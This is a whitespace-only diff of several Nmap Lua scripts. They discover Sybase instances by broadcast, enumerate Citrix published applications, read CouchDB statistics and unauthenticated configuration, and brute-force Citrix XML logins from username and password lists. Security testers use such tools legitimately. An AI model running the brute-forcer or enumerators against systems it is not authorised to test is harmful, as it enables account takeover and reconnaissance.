||||
if ( #result > 0 ) then
|
||||
result.name = "Discovered RIPv2 devices"
|
||||
end
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
|
||||
@@ -32,157 +32,157 @@ prerule = function() return ( nmap.address_family() == "inet") end
|
||||
--
|
||||
Ping = {
|
||||
|
||||
-- The PING request class
|
||||
Request = {
|
||||
-- The PING request class
|
||||
Request = {
|
||||
|
||||
-- Creates a new Ping request
|
||||
new = function(self)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
-- Creates a new Ping request
|
||||
new = function(self)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
-- returns the ping request as a string
|
||||
__tostring = function(self)
|
||||
return bin.pack("HAH", "1b00003d0000000012", "CONNECTIONLESS_TDS",
|
||||
"000000010000040005000500000102000003010104080000000000000000070204b1")
|
||||
end
|
||||
},
|
||||
-- returns the ping request as a string
|
||||
__tostring = function(self)
|
||||
return bin.pack("HAH", "1b00003d0000000012", "CONNECTIONLESS_TDS",
|
||||
"000000010000040005000500000102000003010104080000000000000000070204b1")
|
||||
end
|
||||
},
|
||||
|
||||
-- The Ping Response class
|
||||
Response = {
|
||||
-- Creates a new response
|
||||
-- @param data string containing the raw data as received over the socket
|
||||
-- @return o instance of Response
|
||||
new = function(self, data)
|
||||
local o = { data = data }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o:parse()
|
||||
if ( o.dbinstance ) then
|
||||
return o
|
||||
end
|
||||
end,
|
||||
-- The Ping Response class
|
||||
Response = {
|
||||
-- Creates a new response
|
||||
-- @param data string containing the raw data as received over the socket
|
||||
-- @return o instance of Response
|
||||
new = function(self, data)
|
||||
local o = { data = data }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o:parse()
|
||||
if ( o.dbinstance ) then
|
||||
return o
|
||||
end
|
||||
end,
|
||||
|
||||
-- Parses the raw response and populates the
|
||||
-- <code>dbinstance.name</code> and <code>dbinstance.port</code> fields
|
||||
parse = function(self)
|
||||
-- do a very basic length check
|
||||
local pos, len = bin.unpack(">I", self.data)
|
||||
len = bit.band(len, 0x0000FFFF)
|
||||
-- Parses the raw response and populates the
|
||||
-- <code>dbinstance.name</code> and <code>dbinstance.port</code> fields
|
||||
parse = function(self)
|
||||
-- do a very basic length check
|
||||
local pos, len = bin.unpack(">I", self.data)
|
||||
len = bit.band(len, 0x0000FFFF)
|
||||
|
||||
if ( len ~= #self.data ) then
|
||||
stdnse.print_debug(2, "The packet length was reported as %d, expected %d", len, #self.data)
|
||||
return
|
||||
end
|
||||
if ( len ~= #self.data ) then
|
||||
stdnse.print_debug(2, "The packet length was reported as %d, expected %d", len, #self.data)
|
||||
return
|
||||
end
|
||||
|
||||
local connectionless_tds
|
||||
pos, connectionless_tds = bin.unpack("p", self.data, 9)
|
||||
if ( connectionless_tds ~= "CONNECTIONLESS_TDS" ) then
|
||||
stdnse.print_debug(2, "Did not find the expected CONNECTIONLESS_TDS header")
|
||||
return
|
||||
end
|
||||
local connectionless_tds
|
||||
pos, connectionless_tds = bin.unpack("p", self.data, 9)
|
||||
if ( connectionless_tds ~= "CONNECTIONLESS_TDS" ) then
|
||||
stdnse.print_debug(2, "Did not find the expected CONNECTIONLESS_TDS header")
|
||||
return
|
||||
end
|
||||
|
||||
self.dbinstance = {}
|
||||
pos, self.dbinstance.name = bin.unpack("p", self.data, 40)
|
||||
pos = pos + 2
|
||||
pos, self.dbinstance.port = bin.unpack(">S", self.data, pos)
|
||||
end,
|
||||
}
|
||||
self.dbinstance = {}
|
||||
pos, self.dbinstance.name = bin.unpack("p", self.data, 40)
|
||||
pos = pos + 2
|
||||
pos, self.dbinstance.port = bin.unpack(">S", self.data, pos)
|
||||
end,
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
-- Main script interface
|
||||
Helper = {
|
||||
|
||||
-- Creates a new helper instance
|
||||
-- @param host table as received by the action method
|
||||
-- @param port table as received by the action method
|
||||
-- @param options table containing:
|
||||
-- <code>timeout</code> - the amount of time to listen for responses
|
||||
-- @return o instance of Helper
|
||||
new = function(self, host, port, options)
|
||||
local o = {
|
||||
host = host,
|
||||
port = port,
|
||||
options = options or {}
|
||||
}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
-- Creates a new helper instance
|
||||
-- @param host table as received by the action method
|
||||
-- @param port table as received by the action method
|
||||
-- @param options table containing:
|
||||
-- <code>timeout</code> - the amount of time to listen for responses
|
||||
-- @return o instance of Helper
|
||||
new = function(self, host, port, options)
|
||||
local o = {
|
||||
host = host,
|
||||
port = port,
|
||||
options = options or {}
|
||||
}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
-- Sends a ping request to the service and processes the response
|
||||
-- @return status true on success, false on failure
|
||||
-- @return instances table of instance tables containing
|
||||
-- <code>name</code> - the instance name
|
||||
-- <code>ip</code> - the instance ip
|
||||
-- <code>port</code> - the instance port
|
||||
-- err string containing error message on failure
|
||||
ping = function(self)
|
||||
local socket = nmap.new_socket("udp")
|
||||
socket:set_timeout(1000)
|
||||
-- Sends a ping request to the service and processes the response
|
||||
-- @return status true on success, false on failure
|
||||
-- @return instances table of instance tables containing
|
||||
-- <code>name</code> - the instance name
|
||||
-- <code>ip</code> - the instance ip
|
||||
-- <code>port</code> - the instance port
|
||||
-- err string containing error message on failure
|
||||
ping = function(self)
|
||||
local socket = nmap.new_socket("udp")
|
||||
socket:set_timeout(1000)
|
||||
|
||||
-- send 2 packets just in case
|
||||
for i=1, 2 do
|
||||
local ping_req = Ping.Request:new()
|
||||
local status, err = socket:sendto(self.host, self.port, tostring(ping_req))
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to send broadcast packet"
|
||||
end
|
||||
end
|
||||
-- send 2 packets just in case
|
||||
for i=1, 2 do
|
||||
local ping_req = Ping.Request:new()
|
||||
local status, err = socket:sendto(self.host, self.port, tostring(ping_req))
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to send broadcast packet"
|
||||
end
|
||||
end
|
||||
|
||||
local stime = os.time()
|
||||
local instances = {}
|
||||
local timeout = self.options.timeout or ( 20 / ( nmap.timing_level() + 1 ) )
|
||||
local stime = os.time()
|
||||
local instances = {}
|
||||
local timeout = self.options.timeout or ( 20 / ( nmap.timing_level() + 1 ) )
|
||||
|
||||
repeat
|
||||
local status, data = socket:receive()
|
||||
if ( status ) then
|
||||
local response = Ping.Response:new(data)
|
||||
if ( response ) then
|
||||
local status, _, _, rhost, _ = socket:get_info()
|
||||
if ( not(status) ) then
|
||||
socket:close()
|
||||
return false, "Failed to get socket information"
|
||||
end
|
||||
response.dbinstance.ip = rhost
|
||||
-- avoid duplicates
|
||||
instances[response.dbinstance.name] = response.dbinstance
|
||||
end
|
||||
end
|
||||
until( os.time() - stime > timeout )
|
||||
socket:close()
|
||||
repeat
|
||||
local status, data = socket:receive()
|
||||
if ( status ) then
|
||||
local response = Ping.Response:new(data)
|
||||
if ( response ) then
|
||||
local status, _, _, rhost, _ = socket:get_info()
|
||||
if ( not(status) ) then
|
||||
socket:close()
|
||||
return false, "Failed to get socket information"
|
||||
end
|
||||
response.dbinstance.ip = rhost
|
||||
-- avoid duplicates
|
||||
instances[response.dbinstance.name] = response.dbinstance
|
||||
end
|
||||
end
|
||||
until( os.time() - stime > timeout )
|
||||
socket:close()
|
||||
|
||||
return true, instances
|
||||
end,
|
||||
return true, instances
|
||||
end,
|
||||
|
||||
|
||||
}
|
||||
|
||||
action = function()
|
||||
|
||||
local timeout = ( 20 / ( nmap.timing_level() + 1 ) )
|
||||
local host = { ip = "255.255.255.255" }
|
||||
local port = { number = 2638, protocol = "udp" }
|
||||
local timeout = ( 20 / ( nmap.timing_level() + 1 ) )
|
||||
local host = { ip = "255.255.255.255" }
|
||||
local port = { number = 2638, protocol = "udp" }
|
||||
|
||||
local helper = Helper:new(host, port)
|
||||
local status, instances = helper:ping()
|
||||
local helper = Helper:new(host, port)
|
||||
local status, instances = helper:ping()
|
||||
|
||||
if ( not(status) ) then
|
||||
return ("\n ERROR: %s"):format(instances)
|
||||
end
|
||||
if ( not(status) ) then
|
||||
return ("\n ERROR: %s"):format(instances)
|
||||
end
|
||||
|
||||
-- if we don't have any instances, silently abort
|
||||
if ( next(instances) == nil ) then
|
||||
return
|
||||
end
|
||||
-- if we don't have any instances, silently abort
|
||||
if ( next(instances) == nil ) then
|
||||
return
|
||||
end
|
||||
|
||||
local result = {}
|
||||
for _, instance in pairs(instances) do
|
||||
table.insert(result, ("ip=%s; name=%s; port=%d"):format(instance.ip, instance.name, instance.port))
|
||||
end
|
||||
table.sort(result)
|
||||
return stdnse.format_output(true, result)
|
||||
local result = {}
|
||||
for _, instance in pairs(instances) do
|
||||
table.insert(result, ("ip=%s; name=%s; port=%d"):format(instance.ip, instance.name, instance.port))
|
||||
end
|
||||
table.sort(result)
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
|
||||
@@ -52,42 +52,42 @@ portrule = shortport.portnumber({8080,80,443}, "tcp")
|
||||
--
|
||||
function verify_password( host, port, username, password, domain )
|
||||
|
||||
local response = citrixxml.request_validate_credentials(host, port, {Credentials={Domain=domain, Password=password, UserName=username}})
|
||||
local cred_status = citrixxml.parse_validate_credentials_response(response)
|
||||
local response = citrixxml.request_validate_credentials(host, port, {Credentials={Domain=domain, Password=password, UserName=username}})
|
||||
local cred_status = citrixxml.parse_validate_credentials_response(response)
|
||||
|
||||
local account = {}
|
||||
local account = {}
|
||||
|
||||
account.username = username
|
||||
account.password = password
|
||||
account.domain = domain
|
||||
account.username = username
|
||||
account.password = password
|
||||
account.domain = domain
|
||||
|
||||
if cred_status.ErrorId then
|
||||
if cred_status.ErrorId == "must-change-credentials" then
|
||||
account.valid = true
|
||||
account.message = "Must change password at next logon"
|
||||
elseif cred_status.ErrorId == "account-disabled" then
|
||||
account.valid = true
|
||||
account.message = "Account is disabled"
|
||||
elseif cred_status.ErrorId == "account-locked-out" then
|
||||
account.valid = false
|
||||
account.message = "Account Locked Out"
|
||||
elseif cred_status.ErrorId == "failed-credentials" then
|
||||
account.valid = false
|
||||
account.message = "Incorrect Password"
|
||||
elseif cred_status.ErrorId == "unspecified" then
|
||||
account.valid = false
|
||||
account.message = "Unspecified"
|
||||
else
|
||||
stdnse.print_debug("UNKNOWN response: " .. response)
|
||||
account.valid = false
|
||||
account.message = "failed"
|
||||
end
|
||||
else
|
||||
account.message = "Login was successful"
|
||||
account.valid = true
|
||||
end
|
||||
if cred_status.ErrorId then
|
||||
if cred_status.ErrorId == "must-change-credentials" then
|
||||
account.valid = true
|
||||
account.message = "Must change password at next logon"
|
||||
elseif cred_status.ErrorId == "account-disabled" then
|
||||
account.valid = true
|
||||
account.message = "Account is disabled"
|
||||
elseif cred_status.ErrorId == "account-locked-out" then
|
||||
account.valid = false
|
||||
account.message = "Account Locked Out"
|
||||
elseif cred_status.ErrorId == "failed-credentials" then
|
||||
account.valid = false
|
||||
account.message = "Incorrect Password"
|
||||
elseif cred_status.ErrorId == "unspecified" then
|
||||
account.valid = false
|
||||
account.message = "Unspecified"
|
||||
else
|
||||
stdnse.print_debug("UNKNOWN response: " .. response)
|
||||
account.valid = false
|
||||
account.message = "failed"
|
||||
end
|
||||
else
|
||||
account.message = "Login was successful"
|
||||
account.valid = true
|
||||
end
|
||||
|
||||
return account
|
||||
return account
|
||||
|
||||
end
|
||||
|
||||
@@ -97,68 +97,68 @@ end
|
||||
-- @return string containing the result
|
||||
function create_result_from_table(accounts)
|
||||
|
||||
local result = ""
|
||||
local result = ""
|
||||
|
||||
for _, account in ipairs(accounts) do
|
||||
result = result .. " " .. account.username .. ":" .. account.password .. " => " .. account.message .. "\n"
|
||||
end
|
||||
for _, account in ipairs(accounts) do
|
||||
result = result .. " " .. account.username .. ":" .. account.password .. " => " .. account.message .. "\n"
|
||||
end
|
||||
|
||||
return "\n" .. result
|
||||
return "\n" .. result
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local status, nextUser, nextPass
|
||||
local username, password
|
||||
local args = nmap.registry.args
|
||||
local ntdomain = args.ntdomain
|
||||
local valid_accounts = {}
|
||||
local status, nextUser, nextPass
|
||||
local username, password
|
||||
local args = nmap.registry.args
|
||||
local ntdomain = args.ntdomain
|
||||
local valid_accounts = {}
|
||||
|
||||
if not ntdomain then
|
||||
return "FAILED: No domain specified (use ntdomain argument)"
|
||||
end
|
||||
if not ntdomain then
|
||||
return "FAILED: No domain specified (use ntdomain argument)"
|
||||
end
|
||||
|
||||
status, nextUser = unpwdb.usernames()
|
||||
status, nextUser = unpwdb.usernames()
|
||||
|
||||
if not status then
|
||||
return
|
||||
end
|
||||
if not status then
|
||||
return
|
||||
end
|
||||
|
||||
status, nextPass = unpwdb.passwords()
|
||||
status, nextPass = unpwdb.passwords()
|
||||
|
||||
if not status then
|
||||
return
|
||||
end
|
||||
if not status then
|
||||
return
|
||||
end
|
||||
|
||||
username = nextUser()
|
||||
username = nextUser()
|
||||
|
||||
-- iterate over userlist
|
||||
while username do
|
||||
password = nextPass()
|
||||
-- iterate over userlist
|
||||
while username do
|
||||
password = nextPass()
|
||||
|
||||
-- iterate over passwordlist
|
||||
while password do
|
||||
local result = "Trying " .. username .. "/" .. password .. " "
|
||||
local account = verify_password(host.ip, port.number, username, password, ntdomain)
|
||||
-- iterate over passwordlist
|
||||
while password do
|
||||
local result = "Trying " .. username .. "/" .. password .. " "
|
||||
local account = verify_password(host.ip, port.number, username, password, ntdomain)
|
||||
|
||||
if account.valid then
|
||||
if account.valid then
|
||||
|
||||
table.insert(valid_accounts, account)
|
||||
table.insert(valid_accounts, account)
|
||||
|
||||
if account.valid then
|
||||
stdnse.print_debug(1, "Trying %s/%s => Login Correct, Info: %s", username, password, account.message)
|
||||
else
|
||||
stdnse.print_debug(1, "Trying %s/%s => Login Correct", username, password)
|
||||
end
|
||||
else
|
||||
stdnse.print_debug(1, "Trying %s/%s => Login Failed, Reason: %s", username, password, account.message)
|
||||
end
|
||||
password = nextPass()
|
||||
end
|
||||
if account.valid then
|
||||
stdnse.print_debug(1, "Trying %s/%s => Login Correct, Info: %s", username, password, account.message)
|
||||
else
|
||||
stdnse.print_debug(1, "Trying %s/%s => Login Correct", username, password)
|
||||
end
|
||||
else
|
||||
stdnse.print_debug(1, "Trying %s/%s => Login Failed, Reason: %s", username, password, account.message)
|
||||
end
|
||||
password = nextPass()
|
||||
end
|
||||
|
||||
nextPass("reset")
|
||||
username = nextUser()
|
||||
end
|
||||
nextPass("reset")
|
||||
username = nextUser()
|
||||
end
|
||||
|
||||
return create_result_from_table(valid_accounts)
|
||||
return create_result_from_table(valid_accounts)
|
||||
end
|
||||
|
||||
@@ -42,119 +42,119 @@ portrule = shortport.portnumber(1604, "udp")
|
||||
-- @return string row delimited with \n containing all published applications
|
||||
function process_pa_response(response)
|
||||
|
||||
local pos, packet_len = bin.unpack("SS", response)
|
||||
local app_name
|
||||
local pa_list = {}
|
||||
local pos, packet_len = bin.unpack("SS", response)
|
||||
local app_name
|
||||
local pa_list = {}
|
||||
|
||||
if packet_len < 40 then
|
||||
return
|
||||
end
|
||||
if packet_len < 40 then
|
||||
return
|
||||
end
|
||||
|
||||
-- the list of published applications starts at offset 40
|
||||
local offset = 41
|
||||
-- the list of published applications starts at offset 40
|
||||
local offset = 41
|
||||
|
||||
while offset < packet_len do
|
||||
pos, app_name = bin.unpack("z", response:sub(offset))
|
||||
offset = offset + pos - 1
|
||||
while offset < packet_len do
|
||||
pos, app_name = bin.unpack("z", response:sub(offset))
|
||||
offset = offset + pos - 1
|
||||
|
||||
table.insert(pa_list, app_name)
|
||||
end
|
||||
table.insert(pa_list, app_name)
|
||||
end
|
||||
|
||||
return pa_list
|
||||
return pa_list
|
||||
|
||||
end
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local packet, counter
|
||||
local query = {}
|
||||
local pa_list = {}
|
||||
local packet, counter
|
||||
local query = {}
|
||||
local pa_list = {}
|
||||
|
||||
--
|
||||
-- Packets were intercepted from the Citrix Program Neighborhood client
|
||||
-- They are used to query a server for it's list of servers
|
||||
--
|
||||
-- We're really not interested in the responses to the first two packets
|
||||
-- The third response contains the list of published applications
|
||||
-- I couldn't find any documentation on this protocol so I'm providing
|
||||
-- some brief information for the bits and bytes this script uses.
|
||||
--
|
||||
-- Spec. of response to query[2] that contains a list of published apps
|
||||
--
|
||||
-- offset size content
|
||||
-- -------------------------
|
||||
-- 0 16-bit Length
|
||||
-- 12 32-bit Server IP (not used here)
|
||||
-- 30 8-bit Last packet (1), More packets(0)
|
||||
-- 40 - null-separated list of applications
|
||||
--
|
||||
query[0] = string.char(
|
||||
0x1e, 0x00, -- Length: 30
|
||||
0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00
|
||||
)
|
||||
--
|
||||
-- Packets were intercepted from the Citrix Program Neighborhood client
|
||||
-- They are used to query a server for it's list of servers
|
||||
--
|
||||
-- We're really not interested in the responses to the first two packets
|
||||
-- The third response contains the list of published applications
|
||||
-- I couldn't find any documentation on this protocol so I'm providing
|
||||
-- some brief information for the bits and bytes this script uses.
|
||||
--
|
||||
-- Spec. of response to query[2] that contains a list of published apps
|
||||
--
|
||||
-- offset size content
|
||||
-- -------------------------
|
||||
-- 0 16-bit Length
|
||||
-- 12 32-bit Server IP (not used here)
|
||||
-- 30 8-bit Last packet (1), More packets(0)
|
||||
-- 40 - null-separated list of applications
|
||||
--
|
||||
query[0] = string.char(
|
||||
0x1e, 0x00, -- Length: 30
|
||||
0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00
|
||||
)
|
||||
|
||||
query[1] = string.char(
|
||||
0x20, 0x00, -- Length: 32
|
||||
0x01, 0x36, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
)
|
||||
query[1] = string.char(
|
||||
0x20, 0x00, -- Length: 32
|
||||
0x01, 0x36, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
)
|
||||
|
||||
query[2] = string.char(
|
||||
0x2a, 0x00, -- Length: 42
|
||||
0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x21, 0x00, 0x02, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
)
|
||||
query[2] = string.char(
|
||||
0x2a, 0x00, -- Length: 42
|
||||
0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x21, 0x00, 0x02, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
)
|
||||
|
||||
counter = 0
|
||||
counter = 0
|
||||
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(5000)
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(5000)
|
||||
|
||||
local try = nmap.new_try(function() socket:close() end)
|
||||
local try = nmap.new_try(function() socket:close() end)
|
||||
|
||||
try( socket:connect(host, port) )
|
||||
try( socket:connect(host, port) )
|
||||
|
||||
-- send the two first packets and never look back
|
||||
repeat
|
||||
try( socket:send(query[counter]) )
|
||||
packet = try(socket:receive())
|
||||
counter = counter + 1
|
||||
until (counter>#query)
|
||||
-- send the two first packets and never look back
|
||||
repeat
|
||||
try( socket:send(query[counter]) )
|
||||
packet = try(socket:receive())
|
||||
counter = counter + 1
|
||||
until (counter>#query)
|
||||
|
||||
-- process the first response
|
||||
pa_list = process_pa_response( packet )
|
||||
-- process the first response
|
||||
pa_list = process_pa_response( packet )
|
||||
|
||||
--
|
||||
-- the byte at offset 31 in the response has a really magic function
|
||||
-- if it is set to zero (0) we have more response packets to process
|
||||
-- if it is set to one (1) we have arrived at the last packet of our journey
|
||||
--
|
||||
while packet:sub(31,31) ~= string.char(0x01) do
|
||||
packet = try( socket:receive() )
|
||||
local tmp_table = process_pa_response( packet )
|
||||
--
|
||||
-- the byte at offset 31 in the response has a really magic function
|
||||
-- if it is set to zero (0) we have more response packets to process
|
||||
-- if it is set to one (1) we have arrived at the last packet of our journey
|
||||
--
|
||||
while packet:sub(31,31) ~= string.char(0x01) do
|
||||
packet = try( socket:receive() )
|
||||
local tmp_table = process_pa_response( packet )
|
||||
|
||||
for _,v in pairs(tmp_table) do
|
||||
table.insert(pa_list, v)
|
||||
end
|
||||
for _,v in pairs(tmp_table) do
|
||||
table.insert(pa_list, v)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
-- set port to open
|
||||
if #pa_list>0 then
|
||||
nmap.set_port_state(host, port, "open")
|
||||
end
|
||||
-- set port to open
|
||||
if #pa_list>0 then
|
||||
nmap.set_port_state(host, port, "open")
|
||||
end
|
||||
|
||||
socket:close()
|
||||
socket:close()
|
||||
|
||||
return stdnse.format_output(true, pa_list)
|
||||
return stdnse.format_output(true, pa_list)
|
||||
|
||||
end
|
||||
|
||||
@@ -51,7 +51,7 @@ categories = {"discovery", "safe"}
|
||||
portrule = shortport.port_or_service({5984})
|
||||
-- Some lazy shortcuts
|
||||
local function dbg(str,...)
|
||||
stdnse.print_debug("couchdb-stats:"..str, ...)
|
||||
stdnse.print_debug("couchdb-stats:"..str, ...)
|
||||
end
|
||||
|
||||
|
||||
@@ -62,112 +62,112 @@ local DISCARD = {stddev=1,min=1,max=1, mean=1}
|
||||
-- @param data a table containg data
|
||||
--@return another table containing data, with some keys removed
|
||||
local function queryResultToTable(data)
|
||||
local result = {}
|
||||
for k,v in pairs(data) do
|
||||
dbg("(%s,%s)",k,tostring(v))
|
||||
if DISCARD[k] ~= 1 then
|
||||
if type(v) == 'table' then
|
||||
if v["description"] ~= nil then
|
||||
k = string.format("%s (%s)",tostring(k), tostring(v["description"]))
|
||||
v["description"] = nil
|
||||
end
|
||||
table.insert(result,k)
|
||||
table.insert(result,queryResultToTable(v))
|
||||
else
|
||||
table.insert(result,(("%s = %s"):format(tostring(k), tostring(v))))
|
||||
end
|
||||
end
|
||||
end
|
||||
return result
|
||||
local result = {}
|
||||
for k,v in pairs(data) do
|
||||
dbg("(%s,%s)",k,tostring(v))
|
||||
if DISCARD[k] ~= 1 then
|
||||
if type(v) == 'table' then
|
||||
if v["description"] ~= nil then
|
||||
k = string.format("%s (%s)",tostring(k), tostring(v["description"]))
|
||||
v["description"] = nil
|
||||
end
|
||||
table.insert(result,k)
|
||||
table.insert(result,queryResultToTable(v))
|
||||
else
|
||||
table.insert(result,(("%s = %s"):format(tostring(k), tostring(v))))
|
||||
end
|
||||
end
|
||||
end
|
||||
return result
|
||||
end
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
local data, result, err
|
||||
local data, result, err
|
||||
|
||||
data = http.get( host, port, '/_stats' )
|
||||
data = http.get( host, port, '/_stats' )
|
||||
|
||||
-- check that body was received
|
||||
if not data.body or data.body == "" then
|
||||
local msg = ("%s did not respond with any data."):format(host.targetname or host.ip )
|
||||
dbg( msg )
|
||||
return msg
|
||||
end
|
||||
-- check that body was received
|
||||
if not data.body or data.body == "" then
|
||||
local msg = ("%s did not respond with any data."):format(host.targetname or host.ip )
|
||||
dbg( msg )
|
||||
return msg
|
||||
end
|
||||
|
||||
-- The html body should look like this :
|
||||
--
|
||||
--{"httpd_status_codes":{"200":{"current":10,"count":29894,"mean":0.0003345152873486337,"min":0,"max":1,"stddev":0.01828669972606202,"description":"number of HTTP 200 OK responses"},"500":{"current":1,"count":28429,"mean":0.00003517534911534013,"min":0,"max":1,"stddev":0.005930776661631644,"description":"number of HTTP 500 Internal Server Error responses"}},"httpd_request_methods":{"GET":{"current":12,"count":29894,"mean":0.00040141834481835866,"min":0,"max":2,"stddev":0.02163701147572207,"description":"number of HTTP GET requests"}},"httpd":{"requests":{"current":12,"count":29894,"mean":0.00040141834481835866,"min":0,"max":2,"stddev":0.02163701147572207,"description":"number of HTTP requests"}},"couchdb":{"request_time":{"current":23,"count":12,"mean":32.58333333333333,"min":1,"max":287,"stddev":77.76723638882608,"description":"length of a request inside CouchDB without MochiWeb"}}}
|
||||
-- The html body should look like this :
|
||||
--
|
||||
--{"httpd_status_codes":{"200":{"current":10,"count":29894,"mean":0.0003345152873486337,"min":0,"max":1,"stddev":0.01828669972606202,"description":"number of HTTP 200 OK responses"},"500":{"current":1,"count":28429,"mean":0.00003517534911534013,"min":0,"max":1,"stddev":0.005930776661631644,"description":"number of HTTP 500 Internal Server Error responses"}},"httpd_request_methods":{"GET":{"current":12,"count":29894,"mean":0.00040141834481835866,"min":0,"max":2,"stddev":0.02163701147572207,"description":"number of HTTP GET requests"}},"httpd":{"requests":{"current":12,"count":29894,"mean":0.00040141834481835866,"min":0,"max":2,"stddev":0.02163701147572207,"description":"number of HTTP requests"}},"couchdb":{"request_time":{"current":23,"count":12,"mean":32.58333333333333,"min":1,"max":287,"stddev":77.76723638882608,"description":"length of a request inside CouchDB without MochiWeb"}}}
|
||||
|
||||
local status, result = json.parse(data.body)
|
||||
if not status then
|
||||
dbg(result)
|
||||
return result
|
||||
end
|
||||
local status, result = json.parse(data.body)
|
||||
if not status then
|
||||
dbg(result)
|
||||
return result
|
||||
end
|
||||
|
||||
-- Here we know it is a couchdb
|
||||
port.version.name ='httpd'
|
||||
port.version.product='Apache CouchDB'
|
||||
nmap.set_port_version(host,port)
|
||||
-- Here we know it is a couchdb
|
||||
port.version.name ='httpd'
|
||||
port.version.product='Apache CouchDB'
|
||||
nmap.set_port_version(host,port)
|
||||
|
||||
-- We have a valid table in result containing the parsed json
|
||||
-- now, get all the interesting bits
|
||||
-- We have a valid table in result containing the parsed json
|
||||
-- now, get all the interesting bits
|
||||
|
||||
result = queryResultToTable(result)
|
||||
result = queryResultToTable(result)
|
||||
|
||||
-- Additionally, we can check if authentication is used :
|
||||
-- The following actions are restricted if auth is used
|
||||
-- create db (PUT /database)
|
||||
-- delete db (DELETE /database)
|
||||
-- Creating a design document (PUT /database/_design/app)
|
||||
-- Updating a design document (PUT /database/_design/app?rev=1-4E2)
|
||||
-- Deleting a design document (DELETE /database/_design/app?rev=1-6A7)
|
||||
-- Triggering compaction (POST /_compact)
|
||||
-- Reading the task status list (GET /_active_tasks)
|
||||
-- Restart the server (POST /_restart)
|
||||
-- Read the active configuration (GET /_config)
|
||||
-- Update the active configuration (PUT /_config)
|
||||
-- Additionally, we can check if authentication is used :
|
||||
-- The following actions are restricted if auth is used
|
||||
-- create db (PUT /database)
|
||||
-- delete db (DELETE /database)
|
||||
-- Creating a design document (PUT /database/_design/app)
|
||||
-- Updating a design document (PUT /database/_design/app?rev=1-4E2)
|
||||
-- Deleting a design document (DELETE /database/_design/app?rev=1-6A7)
|
||||
-- Triggering compaction (POST /_compact)
|
||||
-- Reading the task status list (GET /_active_tasks)
|
||||
-- Restart the server (POST /_restart)
|
||||
-- Read the active configuration (GET /_config)
|
||||
-- Update the active configuration (PUT /_config)
|
||||
|
||||
data = http.get( host, port, '/_config' )
|
||||
local status, authresult = json.parse(data.body)
|
||||
data = http.get( host, port, '/_config' )
|
||||
local status, authresult = json.parse(data.body)
|
||||
|
||||
-- If authorization is used, we should get back something like
|
||||
-- {"error":"unauthorized","reason":"You are not a server admin."}
|
||||
-- Otherwise, a *lot* of data, :
|
||||
-- {"httpd_design_handlers":{"_info":"{couch_httpd_db, handle_design_info_req}",
|
||||
-- "_list":"{couch_httpd_show, handle_view_list_req}","_show":"{couch_httpd_show, handle_doc_show_req}",
|
||||
-- "_update":"{couch_httpd_show, handle_doc_update_req}","_view":"{couch_httpd_view, handle_view_req}"},
|
||||
-- "httpd_global_handlers":{"/":"{couch_httpd_misc_handlers, handle_welcome_req, <<\"Welcome\">>}",
|
||||
-- "_active_tasks":"{couch_httpd_misc_handlers, handle_task_status_req}",
|
||||
-- "_all_dbs":"{couch_httpd_misc_handlers, handle_all_dbs_req}",
|
||||
-- "_config":"{couch_httpd_misc_handlers, handle_config_req}",
|
||||
-- "_log":"{couch_httpd_misc_handlers, handle_log_req}","_oauth":"{couch_httpd_oauth, handle_oauth_req}",
|
||||
